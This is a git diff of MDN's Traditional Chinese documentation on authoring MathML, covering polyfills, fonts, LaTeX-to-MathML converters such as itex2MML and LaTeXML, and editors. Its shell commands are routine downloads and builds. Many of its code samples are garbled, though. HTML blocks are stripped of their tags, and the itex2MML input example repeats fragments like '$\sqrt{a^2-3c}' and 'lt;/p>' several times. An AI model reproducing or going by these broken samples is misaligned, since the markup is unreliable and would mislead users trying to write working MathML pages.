diff --git a/files/zh-tw/web/mathml/authoring/index.md b/files/zh-tw/web/mathml/authoring/index.md new file mode 100644 index 00000000000000..c110f46bc1b353 --- /dev/null +++ b/files/zh-tw/web/mathml/authoring/index.md @@ -0,0 +1,413 @@ +--- +title: Authoring MathML +slug: Web/MathML/Authoring +translation_of: Web/MathML/Authoring +--- +這裡我們將會介紹該如何利用 MathML 來表達數學語言。如同 HTML, MathML 也是一種 SGML 語言,因此它是以 tag 和 attribute 描述的。HTML 在你使用了一些諸如 list 或 table 等結構時將會變得很複雜,索性我們有一些 WYSIWYG 編輯器和其他 Content Management Systems 來協助我們進行開發。 + +數學符號擁有許多更複雜的結構,如除號, 平方根以及矩陣等,他們都需要分別代表他們的 tags。因此,一個好的 MathML 編輯工具是非常重要的,而接下來我們將介紹一些工具給你。限於篇幅的關係,我們的介紹可能不是十分詳盡,你可以到 [W3C MathML software list](https://www.w3.org/Math/Software/) 查看更進一步的訊息,那裡也介紹了其他的工具。 + +Note that by design, MathML is well-integrated in HTML5 and in particular you can use usual Web features like CSS, DOM, Javascript or SVG. This is out of the scope of this document but anyone with basic knowledge of Web languages will easily be able to mix these features with MathML. Check out [our demos](/zh-TW/docs/Mozilla/MathML_Project#Sample_MathML_Documents) and [MathML references](/zh-TW/docs/Web/MathML) for more details. + +## Using MathML + +#### MathML in HTML pages + +You can use Presentation MathML inside HTML5 documents: + +```html + + + + MathML in HTML5 + + + +

MathML in HTML5

+ +

+ Square root of two: + + + 2 + + +

+ + + +``` + +Content MathML is not supported by browsers. It's recommended to convert your Content MathML markup into Presentation MathML before publishing it, for example with the help of the [ctop.xsl](https://code.google.com/p/web-xslt/source/browse/trunk/#trunk/ctop) stylesheet. Tools mentioned on this page generates Presentation MathML. + +#### Fallback for Browsers without MathML support + +Unfortunately, some browsers are not able to render MathML equations or only have a limited support. Hence you will need to use a MathML polyfill to provide some fallback rendering. If you need only basic mathematical constructions such as those used on this MDN wiki then a small [mathml.css](https://github.com/fred-wang/mathml.css) stylesheet might be enough. To use it, just insert one line in your document header: + +```html + +``` + +If you need more complex constructions, you might instead consider using the heavier [MathJax](https://www.mathjax.org) library as a MathML polyfill: + +```html + +``` + +Note that these two scripts perform feature detection of the [mspace](/zh-TW/docs/Web/MathML/Element/mspace) or [mpadded](/zh-TW/docs/Web/MathML/Element/mpadded) elements (see the browser compatibility table on these pages). If you don't want to use this link to GitHub but instead to integrate these polyfills or others in your own project, you might need the detection scripts to verify the level of MathML support. For example the following function verifies the MathML support by testing the mspace element (you may replace `mspace` with `mpadded`): + +```js + function hasMathMLSupport() { + var div = document.createElement("div"), box; + div.innerHTML = ""; + document.body.appendChild(div); + box = div.firstChild.firstChild.getBoundingClientRect(); + document.body.removeChild(div); + return Math.abs(box.height - 23) <= 1 && Math.abs(box.width - 77) <= 1; +} +``` + +Alternatively, the following UA string sniffing will allow to detect the rendering engines with native MathML support (Gecko and WebKit). Note that UA string sniffing is not the most reliable method and might break from version to version: + +```js +var ua = navigator.userAgent; +var isGecko = ua.indexOf("Gecko") > -1 && ua.indexOf("KHTML") === -1 && ua.indexOf('Trident') === -1; +var isWebKit = ua.indexOf('AppleWebKit') > -1 && ua.indexOf('Chrome') === -1; +``` + +#### Mathematical fonts + +**Note: browsers can only use a limited set of mathematical fonts to draw stretchy MathML operators. However, implementation of the OpenType MATH table is in progress in Gecko & WebKit. This will provide a generic support for mathematical fonts and simplify the settings described in this section.** + +To get a good mathematical rendering in browsers, some [MathML fonts](/docs/Mozilla/MathML_Project/Fonts) are required. It's a good idea to provide to your visitors a link to the [MDN page that explains how to install MathML fonts](/docs/Mozilla/MathML_Project/Fonts). Alternatively, you can just make them available as Web fonts. You can get these fonts from the [MathML-fonts add-on](https://addons.mozilla.org/en-US/firefox/addon/mathml-fonts/) ; the xpi is just a zip archive that you can fetch and extract for example with the following command: + +```bash +wget https://addons.mozilla.org/firefox/downloads/latest/367848/addon-367848-latest.xpi -O mathml-fonts.zip; \ +unzip mathml-fonts.zip -d mathml-fonts +``` + +Then copy the `mathml-fonts/resource/` directory somewhere on your Web site and ensure that the woff files are served with the correct MIME type. Finally, include the `mathml-fonts/resource/mathml.css` style sheet in your Web pages, for example by adding the following rule to the default style sheet of your Web site: + +```css +@import url('/path/to/resource/mathml.css'); +``` + +You then need to modify the font-family on the \ elements and, for Gecko, the on ::-moz-math-stretchy pseudo element too. For example to use STIX fonts: + +```css +math { + font-family: STIXGeneral; +} + +::-moz-math-stretchy { + font-family: STIXNonUnicode, STIXSizeOneSym, STIXSize1, STIXGeneral; +} +``` + +Try the [MathML torture test](/docs/Mozilla/MathML_Project/MathML_Torture_Test) to compare the rendering of various fonts and the CSS rules to select them. + +#### MathML in XML documents (XHTML, EPUB, etc) + +If for some reason you need to use MathML in XML documents, be sure to satisfy the usual requirements: well-formed document, use of correct MIME type, MathML namespace `"http://www.w3.org/1998/Math/MathML"` on `` roots. For example, the XHTML version of the previous example looks like this: + +```xml + + + + + XHTML+MathML Example + + + +

XHTML+MathML Example

+ +

+ Square root of two: + + + 2 + + +

+ + + +``` + +Note that if you use MathML as a standalone .mml or .svg documents or inside an EPUB book, it may not always be possible to use MathJax as a polyfill for rendering engines without MathML support. Hence whether MathML can be handled will vary according to the tools used to read these documents. + +#### MathML in email and instant messaging clients + +Modern mail clients may send and receive emails in the HTML5 format and thus can use MathML expressions. Be sure to have the "send as HTML" and "view as HTML" options enabled. In Thunderbird, you can use the "Insert HTML" command to paste your HTML+MathML code. [MathBird](http://disruptive-innovations.com/zoo/MathBird/) is a convenient add-on for Thunderbird to insert such MathML expressions using the AsciiMath input syntax. Again, the way MathML is handled and the quality of the MathML rendering [depend on the mail clients](http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121). Even if your browser supports MathML, your Webmail may prevent you to send or receive mails with MathML inside. + +In theory, Gecko-based instant messaging clients could integrate one of the Javascript-based text-to-MathML converters mentioned below and render the MathML expressions. For example there is an [InstantBird add-on](https://addons.instantbird.org/en-US/instantbird/addon/340) to handle LaTeX expressions. + +## Conversion from a Simple Syntax + +There are many simple notations (e.g. wiki or markdown syntaxes) to generate HTML pages. The same is true for MathML: for example ASCII syntaxes as used in calculators or the more powerful LaTeX language, very popular among the scientific community. In this section, we present some of these tools to convert from a simple syntax to MathML. + +- pros: + + - Writing mathematical expressions may only require a standard text editor. + - Many tools are available, some of them are compatible with the classical LaTeX-to-pdf workflow. + - This gives access to advanced features of LaTeX like macros. + +- cons: + + - This may be harder to use: people must learn a syntax, typos in the code may easily lead to parsing or rendering errors etc + - The interface is not user-friendly: only code editor without immediate display of the mathematical expression. + - None of the syntax has been standardized, making cross-compatibility between converters difficult. Even the popular LaTeX language keeps having new packages added. + +### Client-side Conversion + +In a Web environment, the most obvious method to convert a simple syntax into a DOM tree is to use Javascript and of course many libraries have been developed to perform that task. + +- pros: + + - This is very easy setup: only a few Javascript and CSS files to upload and/or a link to add to your document header. + - This is a pure Web-based solution: everything is done by the browsers and no other programs must be installed or compiled. + +- cons: + + - This won't work if the visitor has Javascript disabled. + - The MathML code is not exposed to Web crawlers (e.g. those of math search engines or feed aggregators). In particular, your content won't show up properly on Planet. + - The conversion must be done at each page load, may be slow and may conflict with the HTML parsing (e.g. "<" for tags or "$" for money amounts) + - You may need to synchronize the Javascript converter with other Javascript programs on your page. + +[TeXZilla](https://github.com/fred-wang/TeXZilla) has an [\](https://github.com/fred-wang/x-tex) custom element, that can be used to write things like + +```html +\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1 +``` + +and get it automatically converted into MathML. This is still a work-in-progress, but could be improved in the future thanks to Web Components and shadow DOM. Alternatively, you can use the more traditional [Javascript parsing of expressions at load time](https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#parsing-tex-expressions-in-your-web-page) as all the other tools in this section do. + +One simple client-side conversion tools is [ASCIIMathML](http://www1.chapman.edu/%7Ejipsen/mathml/asciimath.html). Just download the [ASCIIMathML.js](https://mathcs.chapman.edu/%7Ejipsen/mathml/ASCIIMathML.js) script and copy it to your Web site. Then on your Web pages, add a ` +... + + +... +

blah blah `x^2 + y^2 = r^2` blah ... +... +``` + +[LaTeXMathML](https://math.etsu.edu/LaTeXMathML/) is a similar script that allows to parse more LaTeX commands. The installation is similar: copy [LaTeXMathML.js](https://math.etsu.edu/LaTeXMathML/LaTeXMathML.js) and [LaTeXMathML.standardarticle.css](https://math.etsu.edu/LaTeXMathML/LaTeXMathML.standardarticle.css), add links in the header of your document and the LaTeX content of your Web page marked by the "LaTeX" class will be automatically parsed and converted to HTML+MathML: + +```html + +... + + +... + + + +... + +

+\documentclass[12pt]{article} + +\begin{document} + +\title{LaTeXML Example} +\maketitle + +\begin{abstract} +This is a sample LaTeXML document. +\end{abstract} + +\section{First Section} + + $ \sum_{n=1}^{+\infty} \frac{1}{n^2} = \frac{\pi^2}{6} $ + +\end{document} +
+... +``` + +[jqMath](https://mathscribe.com/author/jqmath.html) is another script to parse a simple LaTeX-like syntax but which also accepts non-ASCII characters like `√{∑↙{n=1}↖{+∞} 6/n^2} = π` to write n = 1 + 6 n 2 = π . The installation is similar: download and copy the relevant [Javascript and CSS files](https://mathscribe.com/downloads/mathscribe-unix-0.4.0.zip) on your Web site and reference them in your page header (see the `COPY-ME.html` file from the zip archive for an example). One of the advantage of jqMath over the previous scripts is that it will automatically add some simple CSS rules to do the mathematical layout and make the formulas readable on browsers with limited MathML support. + +Another way to work around the lack of MathML support in some browsers is to use [MathJax](https://www.mathjax.org/). However, note that you may find conflicts and synchronization issues between MathJax and the Javascript libraries previously mentioned. So if you really want to use MathJax as a MathML polyfill, you'd better use its own LaTeX/ASCIIMath parsers too. Note that on the one hand MathJax has better parsing and rendering support but on the other hand it is much bigger, more complex and slower than the previous Javascript libraries. Fortunately, you can use MathJax's CDN so that you don't need to install it on your Web server. Also, the slowest part of MathJax is currently its HTML-CSS / SVG output modes so we recommend to use the Native MathML output for Gecko-based browsers. Hence a typical configuration to use the AMS-LaTeX input is: + +```html +... + + + + + \[ \tau = \frac{x}{y} + \sqrt{3} \] +... +``` + +Note that [the dollar delimiters are not used by default](http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters). To use the ASCIIMathML input instead, just replace `TeX-AMS-MML_HTMLorMML` by `AM-MML_HTMLorMML`. MathJax has many other features, see the [MathJax documentation](http://docs.mathjax.org/en/latest/) for further details. + +### Command-line Programs + +An alternative way is to parse the simple syntax before publishing your web pages. That is, you use command-line programs to generate them and publish these static pages on your server. + +- pros: + + - You get static Web pages: the LaTeX source don't need to be parsed at each page load, the MathML code is exposed to Web crawlers and you can put them easily on any Web server. + - Binary programs may run faster than Javascript programs and can be more sophisticated e.g. have a much complete LaTeX support or generate other formats like EPUB. + - You can keep compatibility with other tools to generate pdf e.g. you can use the same .tex source for both latex and latexml. + +- cons: + + - This requires to install programs on your computer, which may be a bit more difficult or they may not be available on all platforms. + - You must run the programs on your computer and have some kind of workflow to get the Web pages at the end ; that may be a bit tedious. + - Binary programs are not appropriate to integrate them in a Mozilla extension or XUL application. + +[TeXZilla](https://github.com/fred-wang/TeXZilla) can be used [from the command line](https://github.com/fred-wang/TeXZilla/wiki/Using-TeXZilla#usage-from-the-command-line) and will essentially have the same support as itex2MML described below. However, the stream filter behavior is not implemented yet. + +If you only want to parse simple LaTeX mathematical expressions, you might want to try tools like [itex2MML](https://golem.ph.utexas.edu/%7Edistler/blog/itex2MML.html) or [Blahtex](http://gva.noekeon.org/blahtexml/). The latter is often available on Linux distributions. Let's consider the former, which was originally written by Paul Gartside at the beginning of the Mozilla MathML project and has been maintained by Jacques Distler since then. It's a small stream filter written in C/C++ and generated with flex and bison ; in particular it is very fast. Install flex/bison as well as the classical compiler and make tools. On Unix, you can then download itex2MML, build and install it: + +```bash +wget http://golem.ph.utexas.edu/~distler/blog/files/itexToMML.tar.gz; \ +tar -xzf itexToMML.tar.gz; \ +cd itex2MML/itex-src; +make +sudo make install +``` + +Now suppose that you have a HTML page with TeX fragments delimited by dollars: + +```html +input.html + +... + + +

$\sqrt{a^2-3c}input.html + +... + + +

$\sqrt{a^2-3c}input.html + +... + + +

$\sqrt{a^2-3c}input.html + +... + + +

$\sqrt{a^2-3c}$

+

$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$

+ +lt;/p> +

$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $

+ +lt;/p> +

$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $

+ +lt;/p> +

$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} input.html + +... + + +

$\sqrt{a^2-3c}input.html + +... + + +

$\sqrt{a^2-3c}$

+

$$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $$

+ +lt;/p> +

$ {\sum_{i=1}^N i} = \frac{N(N+1)}{2} $

+ +lt;/p> + + +``` + +Then to generate the HTML page input.html with TeX expressions replaced by MathML expressions, just do + +```bash +cat input.html | itex2MML > output.html +``` + +There are even more sophisticated tools to convert arbitrary LaTeX documents into HTML+MathML. For example [TeX4ht](https://www.tug.org/tex4ht/) is often included in TeX distributions and has an option to use MathML instead of PNG images. This command will generate an XHTML+MathML document foo.xml from a foo.tex LaTeX source: + +```bash + mk4ht mzlatex foo.tex # Linux/Mac platforms + mzlatex foo.tex # Windows platform +``` + +[LaTeXML](https://dlmf.nist.gov/LaTeXML/) is another tool that is still actively developed but the release version is rather old, so you'd better [install the development version](https://github.com/KWARC/LaTeXML). In particular, this version can generate HTML5 and EPUB documents. Here is the command to execute in order to create a foo.html Web page from the foo.tex LaTeX source: + +```bash + latexml --dest foo.xml foo.tex + latexmlpost --dest foo.html --format=html5 foo.xml +``` + +If you want to have a MathJax fallback for non-Gecko browsers, copy the [Javascript lines given above](/zh-TW/docs/Web/MathML/Authoring$edit#mathjax-fallback) into a `mathjax.js` file and use the `--javascript` parameter to tell LaTeXML to include that file: + +```bash + latexmlpost --dest foo.html --format=html5 --javascript=mathjax.js foo.xml +``` + +If your LaTeX document is big, you might want to split it into several small pages rather putting everything in a single page. This is especially true if you use the MathJax fallback above, since in that case MathJax will take a lot of time to render the equations in non-Gecko browsers. Use the `--splitat` parameter for that purpose. For example, this will split the pages at the `\section` level: + +```bash + latexmlpost --dest foo.html --format=html5 --splitat=section foo.xml +``` + +Finally, to generate an EPUB document, you can do + +```bash + latexmlc --dest foo.epub --splitat=section foo.xml +``` + +### Server-side Conversion + +- pros: + + - Conversion is done server-side and the MathML output can be cached, which is more efficient and cleaner than client-side conversion. + +- cons: + + - This might be a bit more difficult to set up, since you need some admin right on your server. + +[TeXZilla](https://github.com/fred-wang/TeXZilla) can be [used as a Web server](https://github.com/fred-wang/TeXZilla/wiki/Advanced-Usages#using-texzilla-as-a-web-server) in order to perform server-side LaTeX-to-MathML conversion. [LaTeXML](https://dlmf.nist.gov/LaTeXML/) can also be used as a deamon to run server-side. [Mathoid](https://github.com/gwicke/mathoid) is another tool based on MathJax that is also able to perform additional MathML-to-SVG conversion. + +[Instiki](http://instiki.org/show/HomePage) is a Wiki that integrates itex2MML to do server-side conversion. In future versions, [MediaWiki](https://www.mediawiki.org/wiki/MediaWiki) will support server-side conversion too. + +## Graphical Interface + +### Input Box + +[TeXZilla](https://github.com/fred-wang/TeXZilla) has several interfaces, including a [CKEditor plugin](https://ckeditor.com/addon/texzilla) used on MDN, an [online demo](http://fred-wang.github.io/TeXZilla/), a [Firefox add-on](https://addons.mozilla.org/en-US/firefox/addon/texzilla/) or a [FirefoxOS Webapp](http://r-gaia-cs.github.io/TeXZilla-webapp/). [Abiword](http://abisource.org/) contains a small equation editor, based on itex2MML. [Bluegriffon](http://www.bluegriffon.com/) is a mozilla-based Wysiwyg HTML editor and has an add-on to insert MathML formulas in your document, using ASCII/LaTeX-like syntax. + +![BlueGriffon](mathml-shot1.png) + +### WYSIYWG Editors + +[Firemath](https://www.firemath.info/) is an extension for Firefox that provides a WYSIWYG MathML editor. A preview of the formula is displayed using the rendering engine of Mozilla. The generated MathML code is available at the bottom. Use the text field for token elements and buttons to build advanced constructions. Once you are done, you can save your document as a XHTML page. + +[OpenOffice](https://www.openoffice.org/) and [LibreOffice](https://libreoffice.org/) have an equation editor (File → New → Formula). It is semi-WYSIWYG: you enter the source of the formula using the equation panel/keyboard and a preview of the formula is regularly refreshed. The editor uses its own syntax "StarMath" for the source but MathML is also generated when the document is saved. To get the MathML code, save the document as mml and open it with any text editor. Alternatively, you can extract the odf file (which is actually a zip archive) and open an xml file called `content.xml`. + +![Open Office Math](openoffice.png) + +[Amaya](https://www.w3.org/Amaya/) is the W3C's web editor, which is able to handle MathML inside XHTML documents. Use the Elements and the Special Chars panels to create various advanced mathematical constructs. Simple text such as `a+2` is automatically parsed and the appropriate MathML markup is generated. Once you are done, you can directly save your XHTML page and open it in Mozilla. + +## Optical Character & Handwriting Recognition + +[Inftyreader](https://www.inftyreader.org/) is able to perform some Optical Character Recognition, including translation of mathematical equations into MathML. Other tools can do handwriting recognition such as the [Windows Math Input Panel](https://windows.microsoft.com/en-za/windows7/use-math-input-panel-to-write-and-correct-math-equations) + +or the online converter [Web Equation](http://webdemo.visionobjects.com/). diff --git a/files/zh-tw/web/mathml/index.html b/files/zh-tw/web/mathml/index.html deleted file mode 100644 index c7322b4715a53d..00000000000000 --- a/files/zh-tw/web/mathml/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: MathML -slug: Web/MathML -translation_of: Web/MathML ---- -

Mathematical Markup Language (MathML) 是一種基於 XML 的延伸,可以用來描述數學符號以及保留數學式結構和內容。在這裡你可以找到參考文件, 範例以及工具。你可以從 slides for the innovation fairs at Mozilla Summit 2013 做個快速的大致瀏覽。

-
-
-

MathML references

-
-
- MathML element reference
-
- 關於每一個 MathML element 的細節及其在桌面環境和瀏覽器的支援情形。
-
- MathML attribute reference
-
- 關於可改變 MathML element 外觀及行為的 MathML attributes。
-
- MathML examples
-
- MathML 的範例。透過這些範例你能更明白 MathML 是如何運作的。
-
- Authoring MathML
-
- 這裡提供一些關於 MathML 的建議以及小提示,包括適當的編輯器以及如何將他們和你的網頁內容整合。
-
-
-
-

Getting help from the community

- -

Tools

- - - -
-
-

Browser compatibility

-{{Compat("mathml.elements.math", 0)}} diff --git a/files/zh-tw/web/mathml/index.md b/files/zh-tw/web/mathml/index.md new file mode 100644 index 00000000000000..79a430c2697bdb --- /dev/null +++ b/files/zh-tw/web/mathml/index.md @@ -0,0 +1,43 @@ +--- +title: MathML +slug: Web/MathML +translation_of: Web/MathML +--- +**Mathematical Markup Language (MathML)** 是一種基於 [XML](/zh-TW/docs/XML) 的延伸,可以用來描述數學符號以及保留數學式結構和內容。在這裡你可以找到參考文件, 範例以及工具。你可以從 [slides for the innovation fairs at Mozilla Summit 2013](http://fred-wang.github.io/MozSummitMathML/index.html) 做個快速的大致瀏覽。 + +## MathML references + +- [MathML element reference](/zh-TW/docs/Web/MathML/Element) + - : 關於每一個 MathML element 的細節及其在桌面環境和瀏覽器的支援情形。 +- [MathML attribute reference](/zh-TW/docs/Web/MathML/Attribute) + - : 關於可改變 MathML element 外觀及行為的 MathML attributes。 +- [MathML examples](/zh-TW/docs/Web/MathML/Examples) + - : MathML 的範例。透過這些範例你能更明白 MathML 是如何運作的。 +- [Authoring MathML](/zh-TW/docs/Web/MathML/Authoring) + - : 這裡提供一些關於 MathML 的建議以及小提示,包括適當的編輯器以及如何將他們和你的網頁內容整合。 + +## Getting help from the community + +- [IRC channel](irc://irc.mozilla.org/%23mathml) +- [Wiki used by Mozilla contributors](https://wiki.mozilla.org/MathML:Home_Page) +- [W3C Math Home](http://www.w3.org/Math/) +- [www-math w3.org mail archive](http://lists.w3.org/Archives/Public/www-math/) + +## Tools + +- [W3C Validator](http://validator.w3.org) +- [FireMath Firefox add-on](https://addons.mozilla.org/de/firefox/addon/8969/) +- [Mathzilla Firefox add-on collection](https://addons.mozilla.org/firefox/collections/fred_wang/mathzilla/) +- [LaTeXML](http://dlmf.nist.gov/LaTeXML/) - 將 LaTeX 文件編譯為 HTML+MathML 網頁 +- [Web Equation](http://webdemo.visionobjects.com/home.html#equation) - 將手寫的數學式轉換成 MathML 或 LaTeX +- [MathJax](http://www.mathjax.org/) - 使數學式的展現能跨瀏覽器的 JavaScript display engine + +## Related Topics + +- [CSS](/zh-TW/docs/Web/CSS) +- [HTML](/zh-TW/docs/Web/HTML) +- [SVG](/zh-TW/docs/Web/SVG) + +## Browser compatibility + +{{Compat("mathml.elements.math", 0)}}